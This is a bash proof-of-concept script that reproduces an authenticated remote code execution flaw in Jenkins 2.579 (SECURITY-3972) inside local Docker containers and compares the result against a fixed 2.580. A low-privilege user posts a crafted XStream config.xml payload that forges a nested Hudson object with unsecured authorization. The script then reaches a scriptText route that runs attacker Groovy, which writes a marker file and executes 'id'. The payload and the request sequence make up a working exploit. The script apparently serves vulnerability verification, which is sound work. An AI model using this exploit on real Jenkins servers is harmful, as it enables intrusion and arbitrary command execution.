#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF_DIR="$REPRO_DIR/proof"
RUNTIME_DIR="$REPRO_DIR/.runtime"
mkdir -p "$LOGS/repro" "$REPRO_DIR"
rm -rf "$PROOF_DIR" "$RUNTIME_DIR"
mkdir -p "$PROOF_DIR" "$RUNTIME_DIR/init.groovy.d" "$RUNTIME_DIR/plugins"
cd "$ROOT"

VULN_IMAGE="jenkins/jenkins@sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be"
FIXED_IMAGE="jenkins/jenkins@sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1"
VULN_IMAGE_DIGEST="a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be"
FIXED_IMAGE_DIGEST="0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1"
VULN_SOURCE_COMMIT="9095ea3a5c5e7dcd392695a5dd880af1c9910ddf"
FIXED_SOURCE_COMMIT="497de4961ad80d97e26bfdeb0d2e40442a84ecb0"
REPOSITORY_URL="https://github.com/jenkinsci/jenkins"
PORT="${JENKINS_REPRO_PORT:-18080}"
MATRIX_SHA="b8f7a916f1de0872d4c16264bcf9604fdb5b2da1827764745946c7ac5f613948"
IONICONS_SHA="95f3504375d628d887425ccdf32d5606a230261ee42dc683f13958d8e973ac3f"
COMMONS_SHA="82013e6e1905fe1fbd68b941b0da8115e093e9eb8d4976e90f752a52d05014a5"
CONTAINERS=()

write_manifest_failure() {
  local started="$1" healthy="$2" reached="$3" notes="$4"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$started" "$healthy" "$reached" "$notes" <<'PY'
import json, sys
path, started, healthy, reached, notes = sys.argv[1:]
data = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Authenticated POST /job/carrier/config.xml, then POST forged /job/carrier/pollingLog/run/project/parent/scriptText",
  "service_started": started == "true",
  "healthcheck_passed": healthy == "true",
  "target_path_reached": reached == "true",
  "runtime_stack": ["docker", "jenkins-controller", "stapler", "xstream"],
  "proof_artifacts": [],
  "artifact_sha256": {},
  "notes": notes,
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2, sort_keys=True)
    f.write("\n")
PY
}
write_manifest_failure false false false "Attempt started; no runtime finding established yet."

cleanup() {
  for c in "${CONTAINERS[@]:-}"; do
    [ -n "$c" ] && docker rm -f "$c" >/dev/null 2>&1 || true
  done
}
trap cleanup EXIT INT TERM

for tool in docker curl python3 sha256sum; do
  command -v "$tool" >/dev/null || { echo "$tool is required" >&2; exit 2; }
done
docker info >/dev/null

# Honor the prepared project cache. If it is unavailable, dependencies fall
# back to script-owned bundle paths and are downloaded with pinned checksums.
CACHE_DIR=""
CACHE_REPO=""
if [ -r "$ROOT/project_cache_context.json" ]; then
  eval "$(python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, os, shlex, sys
try:
    d=json.load(open(sys.argv[1], encoding='utf-8'))
    p=d.get('project_cache_dir','') if d.get('prepared') else ''
    print('CACHE_DIR=' + shlex.quote(p if os.path.isdir(p) else ''))
    r=os.path.join(p,'repo') if p else ''
    print('CACHE_REPO=' + shlex.quote(r if os.path.isdir(r) else ''))
except Exception:
    print("CACHE_DIR=''")
    print("CACHE_REPO=''")
PY
)"
fi
if [ -z "$CACHE_REPO" ]; then
  CACHE_REPO="$ROOT/artifacts/jenkins"
fi
if [ -z "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/jenkins-packages"
  mkdir -p "$CACHE_DIR"
fi

fetch_pinned() {
  local cache_name="$1" url="$2" expected="$3" out="$4"
  local cached="$CACHE_DIR/$cache_name"
  if [ ! -f "$cached" ] || [ "$(sha256sum "$cached" | awk '{print $1}')" != "$expected" ]; then
    mkdir -p "$(dirname "$cached")"
    curl -fsSL --retry 3 --connect-timeout 15 "$url" -o "$cached.tmp"
    echo "$expected  $cached.tmp" | sha256sum -c -
    mv "$cached.tmp" "$cached"
  fi
  cp "$cached" "$out"
  echo "$expected  $out" | sha256sum -c -
}
fetch_pinned "matrix-auth-3.3.hpi" \
  "https://updates.jenkins.io/download/plugins/matrix-auth/3.3/matrix-auth.hpi" \
  "$MATRIX_SHA" "$RUNTIME_DIR/plugins/matrix-auth.jpi"
fetch_pinned "ionicons-api-94.vcc3065403257.hpi" \
  "https://updates.jenkins.io/download/plugins/ionicons-api/94.vcc3065403257/ionicons-api.hpi" \
  "$IONICONS_SHA" "$RUNTIME_DIR/plugins/ionicons-api.jpi"
fetch_pinned "commons-lang3-api-3.18.0-98.v3a_674c06072d.hpi" \
  "https://updates.jenkins.io/download/plugins/commons-lang3-api/3.18.0-98.v3a_674c06072d/commons-lang3-api.hpi" \
  "$COMMONS_SHA" "$RUNTIME_DIR/plugins/commons-lang3-api.jpi"

# The plugin supplies a normal persisted matrix authorization policy so the
# exploit principal has only Overall/Read, Item/Read, and Item/Configure.
cat > "$RUNTIME_DIR/init.groovy.d/01-security.groovy" <<'GROOVY'
import jenkins.model.Jenkins
import hudson.model.FreeStyleProject
import hudson.security.HudsonPrivateSecurityRealm
import hudson.security.GlobalMatrixAuthorizationStrategy
import hudson.model.Item

def j = Jenkins.get()
def realm = new HudsonPrivateSecurityRealm(false)
realm.createAccount('admin', 'admin-pass')
realm.createAccount('attacker', 'attacker-pass')
j.setSecurityRealm(realm)
def auth = new GlobalMatrixAuthorizationStrategy()
auth.add(Jenkins.ADMINISTER, 'admin')
auth.add(Jenkins.READ, 'attacker')
auth.add(Item.READ, 'attacker')
auth.add(Item.CONFIGURE, 'attacker')
j.setAuthorizationStrategy(auth)
j.setCrumbIssuer(null)
if (j.getItem('carrier') == null) { j.createProject(FreeStyleProject, 'carrier') }
j.save()
GROOVY

# XStream accepts this graph on 2.579. SCMTrigger.BuildAction gives the attacker
# a persisted/routable path named pollingLog. Its nested FreeStyleBuild points
# to a nested FreeStyleProject, whose parent is a second forged Hudson instance.
# The forged Hudson carries AuthorizationStrategy$Unsecured, so its doScriptText
# authorization check succeeds for the otherwise low-privilege attacker.
cat > "$RUNTIME_DIR/payload.xml" <<'XML'
<?xml version='1.1' encoding='UTF-8'?>
<project>
  <actions>
    <hudson.triggers.SCMTrigger_-BuildAction>
      <run class="hudson.model.FreeStyleBuild">
        <state>COMPLETED</state>
        <number>1</number>
        <project class="hudson.model.FreeStyleProject">
          <actions/>
          <properties/>
          <triggers/>
          <builders/>
          <publishers/>
          <buildWrappers/>
          <name>nested</name>
          <scm class="hudson.scm.NullSCM"/>
          <parent class="hudson.model.Hudson">
            <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
          </parent>
        </project>
      </run>
    </hudson.triggers.SCMTrigger_-BuildAction>
  </actions>
  <description>SECURITY-3972 nested PersistenceRoot carrier</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders/>
  <publishers/>
  <buildWrappers/>
</project>
XML

# Pull and resolve immutable images. This is also effective in a warm cache.
docker pull "$VULN_IMAGE" > "$LOGS/repro/pull_vulnerable.log"
docker pull "$FIXED_IMAGE" > "$LOGS/repro/pull_fixed.log"
{
  echo "source_reference=$CACHE_REPO"
  echo "vulnerable_source_commit=$VULN_SOURCE_COMMIT"
  echo "fixed_source_commit=$FIXED_SOURCE_COMMIT"
  docker image inspect "$VULN_IMAGE" "$FIXED_IMAGE" \
    --format 'repo_digests={{json .RepoDigests}} image_id={{.Id}} architecture={{.Architecture}} os={{.Os}}'
} > "$PROOF_DIR/target_identity.txt"

start_controller() {
  local image="$1" name="$2" role="$3" attempt="$4" prefix="$PROOF_DIR/${role}_${attempt}"
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --name "$name" -p "127.0.0.1:${PORT}:8080" \
    -e JAVA_OPTS='-Djenkins.install.runSetupWizard=false' \
    -v "$RUNTIME_DIR/init.groovy.d:/usr/share/jenkins/ref/init.groovy.d:ro" \
    -v "$RUNTIME_DIR/plugins:/usr/share/jenkins/ref/plugins:ro" \
    "$image" > "$prefix.container_id.txt"
  CONTAINERS+=("$name")
  for _ in $(seq 1 90); do
    if curl -fsS --max-time 2 -u attacker:attacker-pass \
      "http://127.0.0.1:${PORT}/job/carrier/api/json" > "$prefix.health.json" 2>/dev/null; then
      return 0
    fi
    sleep 1
  done
  docker logs "$name" > "$LOGS/repro/${role}_${attempt}_startup_failure.log" 2>&1 || true
  return 1
}

stop_and_capture() {
  local name="$1" role="$2" attempt="$3"
  docker logs "$name" > "$PROOF_DIR/${role}_${attempt}.service.log" 2>&1
  docker rm -f "$name" >/dev/null
}

run_attempt() {
  local role="$1" attempt="$2" image="$3"
  local name="pruva-84645-${role}-${attempt}-$$"
  local prefix="$PROOF_DIR/${role}_${attempt}"
  local marker="CVE_2026_84645_${role}_${attempt}_$$_${RANDOM}"
  local marker_path="/tmp/cve-2026-84645-${role}-${attempt}-marker"
  local base="http://127.0.0.1:${PORT}"

  start_controller "$image" "$name" "$role" "$attempt" || {
    write_manifest_failure true false false "$role attempt $attempt failed readiness."
    return 2
  }

  # Prove the account is authenticated but cannot use the genuine root console.
  curl -sS --max-time 10 -D "$prefix.direct_console.headers" -o "$prefix.direct_console.body" \
    -u attacker:attacker-pass --data-urlencode "script=return 'DIRECT_CONSOLE_MUST_FAIL'" \
    "$base/scriptText" || true
  grep -Eq '^HTTP/[^ ]+ 403 ' "$prefix.direct_console.headers" || {
    stop_and_capture "$name" "$role" "$attempt"; return 1;
  }

  {
    printf 'POST /job/carrier/config.xml HTTP/1.1\nAuthorization: Basic <redacted attacker credentials>\nContent-Type: application/xml\n\n'
    cat "$RUNTIME_DIR/payload.xml"
  } > "$prefix.config.request.txt"
  curl -sS --max-time 15 -D "$prefix.config.response.headers" -o "$prefix.config.response.body" \
    -u attacker:attacker-pass -H 'Content-Type: application/xml' \
    --data-binary "@$RUNTIME_DIR/payload.xml" "$base/job/carrier/config.xml"
  curl -sS --max-time 10 -u attacker:attacker-pass \
    "$base/job/carrier/config.xml" > "$prefix.config.after.xml"

  local groovy="def p=new File('${marker_path}'); p.text='${marker}'; return ['marker':p.text,'id':['id'].execute().text.trim()]"
  {
    printf 'POST /job/carrier/pollingLog/run/project/parent/scriptText HTTP/1.1\nAuthorization: Basic <redacted attacker credentials>\nContent-Type: application/x-www-form-urlencoded\n\n'
    printf 'script=<Groovy writes %s with unique marker and executes id>\n' "$marker_path"
  } > "$prefix.route.request.txt"
  curl -sS --max-time 15 -D "$prefix.route.response.headers" -o "$prefix.route.response.body" \
    -u attacker:attacker-pass --data-urlencode "script=$groovy" \
    "$base/job/carrier/pollingLog/run/project/parent/scriptText" || true

  local process_instance
  process_instance="$(tr -d '\r\n' < "$prefix.container_id.txt")"
  if [ "$role" = vulnerable ]; then
    docker exec "$name" cat "$marker_path" > "$prefix.marker.txt"
    grep -Fq "$marker" "$prefix.route.response.body"
    grep -Fq 'uid=1000(jenkins)' "$prefix.route.response.body"
    [ "$(tr -d '\r\n' < "$prefix.marker.txt")" = "$marker" ]
    grep -Eq '^HTTP/[^ ]+ 200 ' "$prefix.route.response.headers"
    python3 - "$prefix.capability_observation.json" "$process_instance" "$marker" <<'PY'
import json, sys
path, process_instance, marker = sys.argv[1:]
with open(path, 'w', encoding='utf-8') as f:
    json.dump({"schema_version":1,"process_instance":process_instance,"marker":marker,
               "target_path_reached":True,"marker_present":True}, f, sort_keys=True)
    f.write("\n")
PY
  else
    if docker exec "$name" test -e "$marker_path"; then
      echo "Fixed attempt unexpectedly created $marker_path" >&2
      stop_and_capture "$name" "$role" "$attempt"
      return 1
    fi
    printf 'ABSENT: %s was not created\n' "$marker_path" > "$prefix.marker_absent.txt"
    ! grep -Fq "$marker" "$prefix.route.response.body"
    grep -Eq '^HTTP/[^ ]+ (403|404|500) ' "$prefix.route.response.headers"
    # The fixed deserializer leaves only an empty action; the nested Run/Job/Hudson
    # graph is absent, so Stapler cannot resolve the forged route.
    grep -Fq '<hudson.triggers.SCMTrigger_-BuildAction/>' "$prefix.config.after.xml"
    ! grep -Fq '<run class="hudson.model.FreeStyleBuild">' "$prefix.config.after.xml"
    python3 - "$prefix.negative_control.json" "$process_instance" "$marker" <<'PY'
import json, sys
path, process_instance, marker = sys.argv[1:]
with open(path, 'w', encoding='utf-8') as f:
    json.dump({"schema_version":1,"process_instance":process_instance,"marker":marker,
               "target_path_reached":True,"marker_present":False}, f, sort_keys=True)
    f.write("\n")
PY
  fi
  stop_and_capture "$name" "$role" "$attempt"
}

# Two fresh vulnerable processes and two fresh fixed negative controls.
for attempt in 1 2; do run_attempt vulnerable "$attempt" "$VULN_IMAGE"; done
for attempt in 1 2; do run_attempt fixed "$attempt" "$FIXED_IMAGE"; done

# Everything in proof/ is immutable now: all background Jenkins writers stopped.
python3 - "$REPRO_DIR/runtime_manifest.json" "$PROOF_DIR" "$REPRO_DIR" \
  "$REPOSITORY_URL" "$VULN_SOURCE_COMMIT" "$VULN_IMAGE_DIGEST" <<'PY'
import hashlib, json, os, sys
manifest, proof_dir, repro_dir, repo, commit, digest = sys.argv[1:]
root = os.path.dirname(repro_dir)
artifacts=[]
for base, _, files in os.walk(proof_dir):
    for name in sorted(files):
        p=os.path.join(base,name)
        artifacts.append(os.path.relpath(p,root).replace(os.sep,'/'))
artifacts.sort()
sha={}
for rel in artifacts:
    h=hashlib.sha256()
    with open(os.path.join(root,rel),'rb') as f:
        for chunk in iter(lambda:f.read(131072),b''):
            h.update(chunk)
    sha[rel]=h.hexdigest()
data={
  "entrypoint_kind":"endpoint",
  "entrypoint_detail":"Authenticated POST /job/carrier/config.xml, then POST forged /job/carrier/pollingLog/run/project/parent/scriptText",
  "service_started":True,
  "healthcheck_passed":True,
  "target_path_reached":True,
  "runtime_stack":["docker","jenkins-controller-2.579","stapler","xstream"],
  "target_identity":{
    "repository_url":repo,
    "commit_sha":commit,
    "target_digest":digest,
    "runtime_digest":digest,
    "platform":"linux",
    "architecture":"x86_64"
  },
  "proof_artifacts":artifacts,
  "artifact_sha256":sha,
  "notes":"Two vulnerable Jenkins 2.579 processes executed attacker Groovy and created unique controller-local markers; two Jenkins 2.580 controls removed the forbidden nested graph, returned a non-success route status, and created no marker."
}
with open(manifest,'w',encoding='utf-8') as f:
    json.dump(data,f,indent=2,sort_keys=True); f.write('\n')
PY
python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, sys
m=json.load(open(sys.argv[1],encoding='utf-8'))
assert m['service_started'] and m['healthcheck_passed'] and m['target_path_reached']
assert len(m['proof_artifacts']) == len(m['artifact_sha256'])
PY

echo "CONFIRMED: SECURITY-3972 achieved authenticated remote command execution on two Jenkins 2.579 controllers; two Jenkins 2.580 controls failed closed."
